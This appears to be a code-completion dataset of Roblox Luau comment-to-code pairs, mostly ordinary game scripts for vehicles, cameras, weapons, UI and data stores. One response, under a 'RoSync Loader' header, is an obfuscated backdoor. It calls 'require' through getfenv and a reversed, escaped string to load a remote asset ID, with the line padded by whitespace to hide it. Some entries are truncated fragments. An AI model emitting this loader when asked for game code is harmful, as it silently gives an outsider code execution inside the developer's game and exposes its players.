Prompt: --Get Wheels

Response:
for a,b in pairs(Suspensions) do
	for i,v in pairs(b:GetChildren()) do
		--print(v.Name)
		if string.match(v.Name,"Wheel") then
			table.insert(Wheels,{Wheel = v})
		end
	end
end


Prompt:
--[[
	At this point in time, developers will have to manually modify the HD Admin TopBar as Roblox don't provide much support when working with the TopBar:
		hd:SetTopbarTransparency(number)
		hd:SetTopbarEnabled(boolean)
--]]

Response: return module


Prompt:
--[[
GAVturet	- основной модуль
GAVAttack	- скрипт цепляемый к пушке 				Fire
bullet		- скрипт отвечающий за полёт снарядов	Rocket	-- за повреждение

]]

Response:
--

local Players = game:GetService("Players") -- берём ссылку на список игроков

local module = {}


Prompt: --[[Engine]]

Response:
	--Torque Curve
	Tune.Horsepower		= 773		--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 1100		--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 8250		--		Use sliders to manipulate values
	Tune.Redline		= 8750		--		Copy and paste slider values into the respective tune values
	Tune.EqPoint		= 5250
	Tune.PeakSharpness	= 5.8
	Tune.CurveMult		= 0.294

	--Incline Compensation
	Tune.InclineComp	= 1.5		-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)

	--Misc
	Tune.RevAccel		= 400		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 300		-- RPM decay when clutch is off
	Tune.RevBounce		= 450		-- RPM kickback from redline
	Tune.IdleThrottle	= 0			-- Percent throttle at idle
	Tune.ClutchTol		= 450		-- Clutch engagement threshold (higher = faster response, lower = more stable RPM)


Prompt:
--[[Algemado.Changed:Connect(function()
	Stance:FireServer(Stances,Virar,Rendido.Value)
end)]]

Response:
Humanoid.Died:Connect(function()
	TS:Create(char.Humanoid, TweenInfo.new(1), {CameraOffset = Vector3.new(0,0,0)} ):Play()
	Main.Visible = false
end)

local BleedTween = TS:Create(Main.Poses.Bleeding, TweenInfo.new(1,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,-1,true), {ImageColor3 =  Color3.fromRGB(150, 0, 0)} )
BleedTween:Play()

saude:GetAttributeChangedSignal("Surrender"):Connect(function()
	local Valor = saude:GetAttribute("Surrender")
	Evt.Stance:FireServer(nil,nil,Valor)
end)

saude:GetAttributeChangedSignal("Bleeding"):Connect(function()
	local Valor = saude:GetAttribute("Bleeding")

	if Valor == true then
		Main.Poses.Bleeding.Visible = true
	else
		Main.Poses.Bleeding.Visible = false
	end
end)

saude:GetAttributeChangedSignal("Injured"):Connect(function()
	local Valor = saude:GetAttribute("Injured")

	if Valor == true then
		TS:Create(Main.Poses.Levantado, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageColor3 =  Color3.fromRGB(150, 0, 0)}):Play()
		TS:Create(Main.Poses.Agaixado, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageColor3 =  Color3.fromRGB(150, 0, 0)}):Play()
		TS:Create(Main.Poses.Deitado, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageColor3 =  Color3.fromRGB(150, 0, 0)}):Play()
	else
		TS:Create(Main.Poses.Levantado, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageColor3 =  Color3.fromRGB(255, 255, 255)}):Play()
		TS:Create(Main.Poses.Agaixado, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageColor3 =  Color3.fromRGB(255, 255, 255)}):Play()
		TS:Create(Main.Poses.Deitado, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageColor3 =  Color3.fromRGB(255, 255, 255)}):Play()
	end
end)

local a = Main.Vest
local b = Main.Helm
local Ener = Main.Poses.Energy

function Vest()
	if Protecao.VestProtect.Value <= 0 then
		TS:Create(a, TweenInfo.new(1), {ImageTransparency = 1} ):Play()
	else
		TS:Create(a, TweenInfo.new(1), {ImageTransparency = .125} ):Play()
	end
end

function Helmet()
	if Protecao.HelmetProtect.Value <= 0 then
		TS:Create(b, TweenInfo.new(1), {ImageTransparency = 1} ):Play()
	else
		TS:Create(b, TweenInfo.new(1), {ImageTransparency = .125} ):Play()
	end
end

function Stamina()
	if ServerConfig.EnableStamina then
		if saude.Variaveis.Stamina.Value <= (saude.Variaveis.Stamina.MaxValue/2) then
			Ener.ImageColor3 = Color3.new(1,saude.Variaveis.Stamina.Value/(saude.Variaveis.Stamina.MaxValue/2),saude.Variaveis.Stamina.Value/saude.Variaveis.Stamina.MaxValue)
			Ener.Visible = true
		elseif saude.Variaveis.Stamina.Value < saude.Variaveis.Stamina.MaxValue then
			Ener.ImageColor3 = Color3.new(1,1,saude.Variaveis.Stamina.Value/saude.Variaveis.Stamina.MaxValue)
			Ener.Visible = true
		elseif saude.Variaveis.Stamina.Value >= saude.Variaveis.Stamina.MaxValue then
			Ener.Visible = false
		end
	else
		saude.Variaveis.Stamina.Value = saude.Variaveis.Stamina.MaxValue
		Ener.Visible = false
	end
end

Vest()
Helmet()
Stamina()

Protecao.VestProtect.Changed:Connect(Vest)
Protecao.HelmetProtect.Changed:Connect(Helmet)
saude.Variaveis.Stamina.Changed:Connect(Stamina)

function L_150_.Update()
	if saude.Variaveis.Stamina.Value <= (saude.Variaveis.Stamina.MaxValue/2) then
		local StaminaX = (1 - (saude.Variaveis.Stamina.Value)/(saude.Variaveis.Stamina.MaxValue/2))/20
		Camera.CoordinateFrame = Camera.CoordinateFrame * CFrame.Angles( math.rad( StaminaX * math.sin( tick() * 3.5 )) , math.rad( StaminaX * math.sin( tick() * 1 )), 0)
	end
end

maxAir = 100
air = maxAir

lastHealth = 100
lastHealth2 = 100
maxWidth = 0.96

local Nadando = false
Humanoid.StateChanged:connect(function(state)
	if state == Enum.HumanoidStateType.Swimming then
		Nadando = true
	else
		Nadando = false
	end
end)

game:GetService("RunService"):BindToRenderStep("Camera Update", 200, L_150_.Update)

while wait() do

	if ServerConfig.CanDrown and player.Character:FindFirstChild("Head") then
		local min = player.Character.Head.Position - (.1 * player.Character.Head.Size)
		local max = player.Character.Head.Position + (.1 * player.Character.Head.Size)
		local region = Region3.new(min,max):ExpandToGrid(4)

		local material = workspace.Terrain:ReadVoxels(region,4)[1][1][1]

		if player.Character.Humanoid.Health > 0 then
			if material == Enum.Material.Water then
				if air > 0 then
					air = air-0.15
				elseif air <= 0 then
					air = 0
					player.Character.Humanoid.Health = 0
				end
			else
				if air < maxAir then
					air = air + .5
				end
			end
		end

		if air <= 50 then
			script.Parent.Frame.Oxygen.ImageColor3 = Color3.new(1,air/50,air/100)
			script.Parent.Frame.Oxygen.Visible = true
		elseif air < maxAir then
			script.Parent.Frame.Oxygen.ImageColor3 = Color3.new(1,1,air/100)
			script.Parent.Frame.Oxygen.Visible = true
		elseif air >= maxAir then
			script.Parent.Frame.Oxygen.Visible = false
		end
		script.Parent.Efeitos.Oxigen.ImageTransparency = air/100
		if air <= 25 then
			script.Parent.Efeitos.Oxigen.BackgroundTransparency = air/25
		end
	end
end


Prompt:
--[[
	This file is to provide a simple place to update values that
	 this error reporter needs to be able to function properly.

	These values are only read in as constants. Changing them while the game is running
	 will not update the behaviors of the reporters.
]]

Response:
return {
	-- Game metadata
	GAME_VERSION = "0.0.1",

	-- Google Analytics values
	REPORT_TO_GOOGLE_ANALYTICS = true,
	GOOGLE_ANALYTICS_TRACKING_ID = "UA-149120298-1", ---TODO: PLS REMOVE BEFORE RELEASE
	PRINT_SUCCESSFUL_GOOGLE_ANALYTICS = true,

	-- PlayFab values
	REPORT_TO_PLAYFAB = false,
	PRINT_SUCCESSFUL_PLAYFAB = true,

	-- General behaviors
	DEBUG_HTTP = false,
	DEBUG_REPORTER = false,
}


Prompt:
------------------------------------------------------------------------
-- verifies token conditions are met or else throw error
------------------------------------------------------------------------

Response:
function luaY:check_match(ls, what, who, where)
  if not self:testnext(ls, what) then
    if where == ls.linenumber then
      self:error_expected(ls, what)
    else
      luaX:syntaxerror(ls, string.format(
        self.LUA_QS.." expected (to close "..self.LUA_QS.." at line %d)",
        luaX:token2str(ls, what), luaX:token2str(ls, who), where))
    end
  end
end


Prompt:
--Door script
--Variables

Response:
local doora = script.Parent.Parent.Door
local debounce = false
local open = false


Prompt: --[[ Last synced 11/11/2020 02:27                                                                                RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                ]]--


Prompt: -- Grab MostPoints value:

Response: local mostPoints = PointsService.MostPoints:Get()


Prompt: --//SS6 PLUGIN; SPLASH//--

Response:
  --//INSPARE 2017//--

local ai = script.Parent.Main_Frame.A.Frame.ImageLabel
local bi = script.Parent.Main_Frame.B.Frame.ImageLabel
local ci = script.Parent.Main_Frame.C.Frame.ImageLabel
local di = script.Parent.Main_Frame.D.Frame.ImageLabel
local ei = script.Parent.Main_Frame.E.Frame.ImageLabel

ai.Size = UDim2.new(18,0,9,0)
bi.Size = UDim2.new(18,0,9,0)
ci.Size = UDim2.new(18,0,9,0)
di.Size = UDim2.new(18,0,9,0)
ei.Size = UDim2.new(18,0,9,0)

wait(.2)
script.Parent.SplashFade.OC:Play()
while true do
	for i=1,2 do
		for i=1,5 do
			ai.Position = ai.Position - UDim2.new(3,0,0,0)
			bi.Position = bi.Position - UDim2.new(3,0,0,0)
			ci.Position = ci.Position - UDim2.new(3,0,0,0)
			di.Position = di.Position - UDim2.new(3,0,0,0)
			ei.Position = ei.Position - UDim2.new(3,0,0,0)
			wait(.1)
		end
		ai.Position = ai.Position + UDim2.new(15,0,-3,0)
		bi.Position = bi.Position + UDim2.new(15,0,-3,0)
		ci.Position = ci.Position + UDim2.new(15,0,-3,0)
		di.Position = di.Position + UDim2.new(15,0,-3,0)
		ei.Position = ei.Position + UDim2.new(15,0,-3,0)
		wait(.1)
	end
	ai.Position = ai.Position + UDim2.new(0,0,6,0)
	bi.Position = bi.Position + UDim2.new(0,0,6,0)
	ci.Position = ci.Position + UDim2.new(0,0,6,0)
	di.Position = di.Position + UDim2.new(0,0,6,0)
	ei.Position = ei.Position + UDim2.new(0,0,6,0)
	wait(.1)
end


Prompt:
-- ScreenSpace -> WorldSpace. Taking a screen height, and a depth to put an object
-- at, and returning a size of how big that object has to be to appear that size
-- at that depth.

Response:
function ScreenSpace.ScreenToWorldByHeightDepth(x, y, screenHeight, depth)
	local aspectRatio = ScreenSpace.AspectRatio()
	local hfactor = math.tan(math.rad(Workspace.CurrentCamera.FieldOfView)/2)
	local wfactor = aspectRatio*hfactor
	local sx, sy = ScreenSpace.ViewSizeX(), ScreenSpace.ViewSizeY()
	--
	local worldHeight = -(screenHeight/sy) * 2 * hfactor * depth
	--
	local xf, yf = x/sx*2 - 1, y/sy*2 - 1
	local xpos = xf * -wfactor * depth
	local ypos = yf *  hfactor * depth
	--
	return Vector3.new(xpos, ypos, depth), worldHeight
end


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
while true do
	wait();
	if game.Players.LocalPlayer then
		break;
	end;
end;
local l__LocalPlayer__1 = game.Players.LocalPlayer;
script.ghost2:Play();
for v2, v3 in pairs(l__LocalPlayer__1.Character:GetChildren()) do
	if v3:IsA("BasePart") then
		v3.Material = Enum.Material.ForceField;
	end;
end;
game.Workspace.Gravity = 80;
wait(25);
for v4 = 1, 15 do
	for v5, v6 in pairs(l__LocalPlayer__1.Character:GetChildren()) do
		if v6:IsA("BasePart") then
			v6.Material = Enum.Material.Plastic;
		end;
	end;
	wait(0.1);
	for v7, v8 in pairs(l__LocalPlayer__1.Character:GetChildren()) do
		if v8:IsA("BasePart") then
			v8.Material = Enum.Material.ForceField;
		end;
	end;
	wait(0.1);
end;
for v9, v10 in pairs(l__LocalPlayer__1.Character:GetChildren()) do
	if v10:IsA("BasePart") then
		v10.Material = Enum.Material.Plastic;
	end;
end;
game.Workspace.Gravity = 196.2;
wait(0.2);
script.Parent:Remove();


Prompt:
--	if hit:getMass() < 1.2 * 200 then
--		hit.BrickColor = ball.BrickColor
--	end

Response: -- make a splat


Prompt: --plr.TeamColor = game.Teams.D.TeamColor

Response:
plr:LoadCharacter()
end
end)


Prompt: --[[Steering]]

Response:
Tune.SteerInner		= 45.2		-- Inner wheel steering angle (in degrees)
Tune.SteerOuter		= 45.2		-- Outer wheel steering angle (in degrees)
Tune.SteerSpeed		= .18		-- Steering increment per tick (in degrees)
Tune.ReturnSpeed	= .2		-- Steering increment per tick (in degrees)
Tune.SteerDecay		= 330		-- Speed of gradient cutoff (in SPS)
Tune.MinSteer		= 10		-- Minimum steering at max steer decay (in percent)
Tune.MSteerExp		= 1			-- Mouse steering exponential degree


Response:
return {
	Point = Point;
	Constraint = Constraint;
}


Prompt:
--[[Jak to komuś rozdasz to cie zabije
Cieżko się naprawcowałem :v]]


Prompt: --// Damage Settings

Response:
	BaseDamage = 46; -- Torso Damage
	LimbDamage = 40; -- Arms and Legs
	ArmorDamage = 38; -- How much damage is dealt against armor (Name the armor "Armor")
	HeadDamage = 1000; -- If you set this to 100, there's a chance the player won't die because of the heal script


Prompt:
--[[
ButtonFire.ProximityPrompt.Enabled = true
ButtonFire.ProximityPrompt.MaxActivationDistance = 5
ButtonFire.ProximityPrompt.Triggered:Connect(function()
	Events:Fire("fire",1)
	ButtonFire.Click:Play()
end)
]]

Response:
ButtonCancel.ProximityPrompt.Triggered:Connect(function()
	Events:Fire("signal",0)
	ButtonCancel.Click:Play()
end)

ButtonTest.ProximityPrompt.Triggered:Connect(function()
	Events:Fire("test")
end)

ButtonTest.ProximityPrompt.TriggerEnded:Connect(function()
	Events:Fire("stoptest")
end)


Prompt: -- Ragdoll On

Response:
local UTJointB = character.UpperTorso:FindFirstChild("WaistRigAttachment")
local LTJointB = character.LowerTorso:FindFirstChild("WaistRigAttachment")


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
client = nil;
service = nil;
return function(p1)
	local v1 = p1.Table or p1.Tab;
	local l__Update__2 = p1.Update;
	local l__AutoUpdate__3 = p1.AutoUpdate;
	local l__LoadTime__4 = p1.LoadTime;
	local l__gIndex__5 = p1.gIndex;
	local l__gTable__6 = p1.gTable;
	local l__Dots__7 = p1.Dots;
	local l__Sanitize__8 = p1.Sanitize;
	local l__Stacking__1 = p1.Stacking;
	local u2 = nil;
	local u3 = nil;
	local function u4(p2)
		local v9 = {};
		for v10, v11 in next, p2 do
			if type(v11) == "table" then
				v9[v10] = {
					Text = v11.Text,
					Desc = v11.Desc,
					Time = v11.Time,
					Filter = v11.Filter,
					Duplicates = v11.Duplicates
				};
			elseif type(v11) == "string" then
				v9[v10] = {
					Text = v11,
					Desc = v11
				};
			end;
		end;
		if l__Stacking__1 then
			v9 = {};
			local v12 = nil;
			for v13, v14 in next, v9 do
				v14.Text = service.Trim(v14.Text);
				v14.Desc = service.Trim(v14.Desc);
				if not v12 then
					v12 = v14;
					table.insert(v9, v14);
				elseif v12.Text == v14.Text and v12.Desc == v14.Desc then
					v12.Duplicates = v12.Duplicates and v12.Duplicates + 1 or 2;
				else
					v12 = v14;
					table.insert(v9, v14);
				end;
			end;
		end;
		local l__next__15 = next;
		local v16 = nil;
		while true do
			local v17, v18 = l__next__15(v9, v16);
			if not v17 then
				break;
			end;
			v18.Text = p1.Sanitize and service.SanitizeString(v18.Text) or v18.Text;
			if v18.Duplicates then
				v18.Text = "(x" .. v18.Duplicates .. ") " .. v18.Text;
			end;
			if v18.Time then
				v18.Text = "[" .. v18.Time .. "] " .. v18.Text;
			end;
		end;
		return v9;
	end;
	local function u5(p3, p4)
		local v19 = {};
		p4 = p4:lower();
		for v20, v21 in next, p3 do
			if p4 == "" or type(v21) == "string" and not (not v21:lower():find(p4)) or type(v21) == "table" and (not (not v21.Text) and not (not v21.Text:lower():find(p4)) or v21.Filter and v21.Filter:lower():find(p4)) then
				table.insert(v19, v21);
			end;
		end;
		return v19;
	end;
	local function v22(p5)
		if u2.Text ~= "Search" and u2.Text ~= "" then
			u3:GenerateList(u4(u5(p5, u2.Text)));
			return;
		end;
		u2.Text = "Search";
		u3:GenerateList(u4(p5));
	end;
	local v23 = {
		Name = "List",
		Title = p1.Title,
		Size = p1.Size or { 225, 200 },
		MinSize = { 150, 100 }
	};
	local v24 = l__Update__2;
	if v24 then
		local u6 = v1;
		local l__UpdateArgs__7 = p1.UpdateArgs;
		local l__UpdateArg__8 = p1.UpdateArg;
		v24 = function()
			u6 = client.Remote.Get("UpdateList", l__Update__2, unpack(l__UpdateArgs__7 or { l__UpdateArg__8 }));
			if u6 then
				v22(u6);
			end;
		end;
	end;
	v23.OnRefresh = v24;
	local v25 = client.UI.Make("Window", v23);
	u3 = v25:Add("ScrollingFrame", {
		List = {},
		ScrollBarThickness = 2,
		BackgroundTransparency = 1,
		Position = UDim2.new(0, 5, 0, 30),
		Size = UDim2.new(1, -10, 1, -30)
	});
	u2 = v25:Add("TextBox", {
		Size = UDim2.new(1, -10, 0, 20),
		Position = UDim2.new(0, 5, 0, 5),
		BackgroundTransparency = 0.5,
		BorderSizePixel = 0,
		TextColor3 = Color3.new(1, 1, 1),
		Text = "Search",
		PlaceholderText = "Search",
		TextStrokeTransparency = 0.8
	});
	u2.FocusLost:connect(function(p6)
		v22(v1);
	end);
	v25:Ready();
	v22(v1);
	if l__Update__2 and l__AutoUpdate__3 then
		while v25.gTable.Active and wait(l__AutoUpdate__3) do
			v25:Refresh();
		end;
	end;
end;


Prompt:
--//=================================\\
--|| 		   EFFECTS
--\\=================================//

Response:
function SpawnPuddle(POSITION,IGNR,GOO)
	local HIT,POS,NOR = Raycast(POSITION, CFrame.new(POSITION,POSITION-Vector3.new(0,1,0)).lookVector, 12, IGNR)
	if HIT then
		coroutine.resume(coroutine.create(function()
			local GOREPART = CreatePart(3, Effects, "SmoothPlastic", 0, 1, "White", "Gore", VT(3,0,3), true)
			local SURFACE = script.Puddle:Clone()
			SURFACE.Parent = GOREPART
			if GOO == true then
				SURFACE.Image.ImageColor3 = C3(1,1,1)
			end
			GOREPART.CFrame = CFrame.new(POS,POS+NOR)*CFrame.Angles(math.rad(-90),math.rad(math.random(0,360)),0)
			for i = 1, math.random(25,65) do
				Swait()
				GOREPART.Size = GOREPART.Size + Vector3.new(0.1,0,0.1)
			end
			wait(math.random(10,25)/50)
			for i = 1, 25 do
				Swait()
				SURFACE.Image.ImageTransparency = SURFACE.Image.ImageTransparency + 1/25
			end
			GOREPART:Remove()
		end))
	end
end


Prompt: -- RANK, RANK NAMES & SPECIFIC USERS

Response:
Ranks = {
	{5,	"Hail Me",		};
	{4,	"HeadAdmin",	{"",0},	};
	{3,	"Admin",		{"",0},	};
	{2,	"Mod",			{"",0},	};
	{1,	"VIP",			{"",0},	};
	{0,	"NonAdmin",		};
};


Prompt: --// Connections

Response:
L_107_.OnClientEvent:connect(function(L_190_arg1, L_191_arg2, L_192_arg3, L_193_arg4, L_194_arg5, L_195_arg6, L_196_arg7)
	if L_190_arg1 and not L_15_ then
		MakeFakeArms()

		L_42_ = L_2_.PlayerGui.MainGui
		L_26_ = L_42_:WaitForChild('Others')
		L_27_ = L_26_:WaitForChild('Kill')
		L_28_ = L_42_:WaitForChild('GameGui'):WaitForChild('AmmoFrame')
		L_29_ = L_28_:WaitForChild('Ammo')
		L_30_ = L_28_:WaitForChild('AmmoBackground')
		L_31_ = L_28_:WaitForChild('MagCount')
		L_32_ = L_28_:WaitForChild('MagCountBackground')
		L_33_ = L_28_:WaitForChild('DistDisp')
		L_34_ = L_28_:WaitForChild('Title')
		L_35_ = L_28_:WaitForChild('Mode1')
		L_36_ = L_28_:WaitForChild('Mode2')
		L_37_ = L_28_:WaitForChild('Mode3')
		L_38_ = L_28_:WaitForChild('Mode4')
		L_39_ = L_28_:WaitForChild('Mode5')
		L_40_ = L_28_:WaitForChild('Stances')
		L_41_ = L_42_:WaitForChild('Shading')
		L_41_.Visible = false

		L_34_.Text = L_1_.Name
		UpdateAmmo()

		L_43_ = L_191_arg2
		L_44_ = L_192_arg3
		L_45_ = L_193_arg4
		L_46_ = L_194_arg5
		L_47_ = L_195_arg6
		L_48_ = L_196_arg7
		L_49_ = L_61_.Bolt

		L_86_ = L_48_.C1
		L_87_ = L_48_.C0

		if L_1_:FindFirstChild('AimPart2') then
			L_56_ = L_1_:WaitForChild('AimPart2')
		end

		if L_1_:FindFirstChild('FirePart2') then
			L_59_ = L_1_.FirePart2
		end

		if L_24_.FirstPersonOnly then
			L_2_.CameraMode = Enum.CameraMode.LockFirstPerson
		end
		--uis.MouseIconEnabled = false
		L_5_.FieldOfView = 70
		L_15_ = true
	elseif L_15_ then
		if L_3_ and L_3_.Humanoid and L_3_.Humanoid.Health > 0 and L_9_ then
			Stand()
			Unlean()
		end

		L_92_ = 0
		L_79_ = false
		L_80_ = false
		L_81_ = false
		L_63_ = false
		L_66_ = false
		L_65_ = false
		Shooting = false

		L_96_ = 70

		RemoveArmModel()

		L_42_:Destroy()

		for L_197_forvar1, L_198_forvar2 in pairs(IgnoreList) do
			if L_198_forvar2 ~= L_3_ and L_198_forvar2 ~= L_5_ and L_198_forvar2 ~= L_100_ then
				table.remove(IgnoreList, L_197_forvar1)
			end
		end

		if L_3_:FindFirstChild('Right Arm') and L_3_:FindFirstChild('Left Arm') then
			L_3_['Right Arm'].LocalTransparencyModifier = 0
			L_3_['Left Arm'].LocalTransparencyModifier = 0
		end

		L_77_ = false
		L_68_ = true

		L_2_.CameraMode = Enum.CameraMode.Classic
		L_106_.MouseIconEnabled = true
		L_5_.FieldOfView = 70
		L_15_ = false
		L_106_.MouseDeltaSensitivity = L_52_
		L_4_.Icon = "http://www.roblox.com/asset?id=0"
		L_15_ = false
		L_4_.TargetFilter = nil
	end
end)


Response:
end
else
print("sh")
end
else
print("arms")
end
end


Prompt: -- This function is a primitive "pick randomly from table" function.

Response:
function main:GetRandomSound(SoundTable : {}) : string
	return SoundTable[math.random(#SoundTable)]
end

return main


Prompt: --// Aim|Zoom|Sensitivity Customization

Response:
	ZoomSpeed = 0.1; -- The lower the number the slower and smoother the tween
	AimZoom = 50; -- Default zoom
	AimSpeed = 0.25;
	UnaimSpeed = 0.05;
	CycleAimZoom = 4; -- Cycled zoom
	MouseSensitivity = 0.5; -- Number between 0.1 and 1
	SensitivityIncrement = 0.05; -- No touchy


Prompt:
--[=[
	@param signal Signal | RBXScriptSignal
	@param callbackFn UpdateCallbackFn
	@return Connection | RBXScriptConnection

	Bind the `Update` method to a signal. For instance, this can be used
	to connect to `RunService.Heartbeat`.

	All connections are cleaned up when the shake instance is stopped
	or destroyed.

	```lua
	local function SomeShake(pos: Vector3, rot: Vector3, completed: boolean)
		-- Shake
	end

	shake:OnSignal(RunService.Heartbeat, SomeShake)
	```
]=]

Response:
function Shake:OnSignal(signal, callbackFn: UpdateCallbackFn)
	return self._trove:Connect(signal, function()
		callbackFn(self:Update())
	end)
end


Prompt:
---------------------------
--[[
	--Main anchor point is the DriveSeat <car.DriveSeat>

	Usage:
		MakeWeld(Part1,Part2,WeldType*,MotorVelocity**) *default is "Weld"  **Applies to Motor welds only
		ModelWeld(Model,MainPart)
	Example:
		MakeWeld(car.DriveSeat,misc.PassengerSeat)
		MakeWeld(car.DriveSeat,misc.SteeringWheel,"Motor",.2)
		ModelWeld(car.DriveSeat,misc.Door)
]]
--Weld stuff here

Response:
MakeWeld(misc.Popups.left.lHinge,car.DriveSeat,"Motor",.1)
ModelWeld(misc.Popups.left.Parts,misc.Popups.left.lHinge)
MakeWeld(misc.Popups.right.rHinge,car.DriveSeat,"Motor",.1)
ModelWeld(misc.Popups.right.Parts,misc.Popups.right.rHinge)
MakeWeld(misc.Trunk.Hinge,car.DriveSeat,"Motor",.1)
ModelWeld(misc.Trunk.Parts,misc.Trunk.Hinge)
MakeWeld(misc.Hood.Hinge,car.DriveSeat,"Motor",.1)
ModelWeld(misc.Hood.Parts,misc.Hood.Hinge)
MakeWeld(car.Misc.Wheel.A,car.DriveSeat,"Motor",.5).Name="W"
ModelWeld(car.Misc.Wheel.Parts,car.Misc.Wheel.A)


Prompt: --------LEFT DOOR 1--------

Response:
game.Workspace.doorleft.l73.BrickColor = BrickColor.new(135)

game.Workspace.doorleft.l11.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l13.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l41.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l42.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l43.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l71.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l72.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l21.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l22.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l23.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l51.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l52.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l53.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l32.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l33.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l61.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l62.BrickColor = BrickColor.new(102)
game.Workspace.doorleft.l63.BrickColor = BrickColor.new(102)

game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(102)


Prompt: ----- LOCALES ------

Response:
local GuiSounds = game:GetService("ReplicatedStorage").SFX.GUISounds
local Button = script.Parent


Prompt:
-- When supplied, legacyCameraType is used and cameraMovementMode is ignored (should be nil anyways)
-- Next, if userCameraCreator is passed in, that is used as the cameraCreator

Response:
function CameraModule:ActivateCameraController(cameraMovementMode, legacyCameraType: Enum.CameraType?)
	local newCameraCreator = nil

	if legacyCameraType~=nil then
		--[[
			This function has been passed a CameraType enum value. Some of these map to the use of
			the LegacyCamera module, the value "Custom" will be translated to a movementMode enum
			value based on Dev and User settings, and "Scriptable" will disable the camera controller.
		--]]

		if legacyCameraType == Enum.CameraType.Scriptable then
			if self.activeCameraController then
				self.activeCameraController:Enable(false)
				self.activeCameraController = nil
			end
			return

		elseif legacyCameraType == Enum.CameraType.Custom then
			cameraMovementMode = self:GetCameraMovementModeFromSettings()

		elseif legacyCameraType == Enum.CameraType.Track then
			-- Note: The TrackCamera module was basically an older, less fully-featured
			-- version of ClassicCamera, no longer actively maintained, but it is re-implemented in
			-- case a game was dependent on its lack of ClassicCamera's extra functionality.
			cameraMovementMode = Enum.ComputerCameraMovementMode.Classic

		elseif legacyCameraType == Enum.CameraType.Follow then
			cameraMovementMode = Enum.ComputerCameraMovementMode.Follow

		elseif legacyCameraType == Enum.CameraType.Orbital then
			cameraMovementMode = Enum.ComputerCameraMovementMode.Orbital

		elseif legacyCameraType == Enum.CameraType.Attach or
			legacyCameraType == Enum.CameraType.Watch or
			legacyCameraType == Enum.CameraType.Fixed then
			newCameraCreator = LegacyCamera
		else
			warn("CameraScript encountered an unhandled Camera.CameraType value: ",legacyCameraType)
		end
	end

	if not newCameraCreator then
		if VRService.VREnabled then
			newCameraCreator = VRCamera
		elseif cameraMovementMode == Enum.ComputerCameraMovementMode.Classic or
			cameraMovementMode == Enum.ComputerCameraMovementMode.Follow or
			cameraMovementMode == Enum.ComputerCameraMovementMode.Default or
			cameraMovementMode == Enum.ComputerCameraMovementMode.CameraToggle then
			newCameraCreator = ClassicCamera
		elseif cameraMovementMode == Enum.ComputerCameraMovementMode.Orbital then
			newCameraCreator = OrbitalCamera
		else
			warn("ActivateCameraController did not select a module.")
			return
		end
	end

	local isVehicleCamera = self:ShouldUseVehicleCamera()
	if isVehicleCamera then
		if VRService.VREnabled then
			newCameraCreator = VRVehicleCamera
		else
			newCameraCreator = VehicleCamera
		end
	end

	-- Create the camera control module we need if it does not already exist in instantiatedCameraControllers
	local newCameraController
	if not instantiatedCameraControllers[newCameraCreator] then
		newCameraController = newCameraCreator.new()
		instantiatedCameraControllers[newCameraCreator] = newCameraController
	else
		newCameraController = instantiatedCameraControllers[newCameraCreator]
		if newCameraController.Reset then
			newCameraController:Reset()
		end
	end

	if self.activeCameraController then
		-- deactivate the old controller and activate the new one
		if self.activeCameraController ~= newCameraController then
			self.activeCameraController:Enable(false)
			self.activeCameraController = newCameraController
			self.activeCameraController:Enable(true)
		elseif not self.activeCameraController:GetEnabled() then
			self.activeCameraController:Enable(true)
		end
	elseif newCameraController ~= nil then
		-- only activate the new controller
		self.activeCameraController = newCameraController
		self.activeCameraController:Enable(true)
	end

	if self.activeCameraController then
		if cameraMovementMode~=nil then
			self.activeCameraController:SetCameraMovementMode(cameraMovementMode)
		elseif legacyCameraType~=nil then
			-- Note that this is only called when legacyCameraType is not a type that
			-- was convertible to a ComputerCameraMovementMode value, i.e. really only applies to LegacyCamera
			self.activeCameraController:SetCameraType(legacyCameraType)
		end
	end
end


Prompt: --Internal functions

Response:
function DataStore:Debug(...)
	if self.debug then
		print("[DataStore2.Debug]", ...)
	end
end

function DataStore:_GetRaw()
	if self.getRawPromise then
		return self.getRawPromise
	end

	self.getRawPromise = self.savingMethod:Get():andThen(function(value)
		self.value = value
		self:Debug("value received")
		self.haveValue = true
		self.getting = false
	end):catch(function(reason)
		self.getting = false
		self.getRawPromise = nil
		return Promise.reject(reason)
	end)

	return self.getRawPromise
end

function DataStore:_Update(dontCallOnUpdate)
	if not dontCallOnUpdate then
		for _, callback in ipairs(self.callbacks) do
			callback(self.value, self)
		end
	end

	self.haveValue = true
	self.valueUpdated = true
end


Prompt: -- ALEX WAS HERE LOL

Response:
local u1 = nil;
coroutine.wrap(function()
	u1 = require(game.ReplicatedStorage:WaitForChild("Resources"));
end)();
local u2 = {}
 u2 = {
	Add = function(p1, p2, p3)
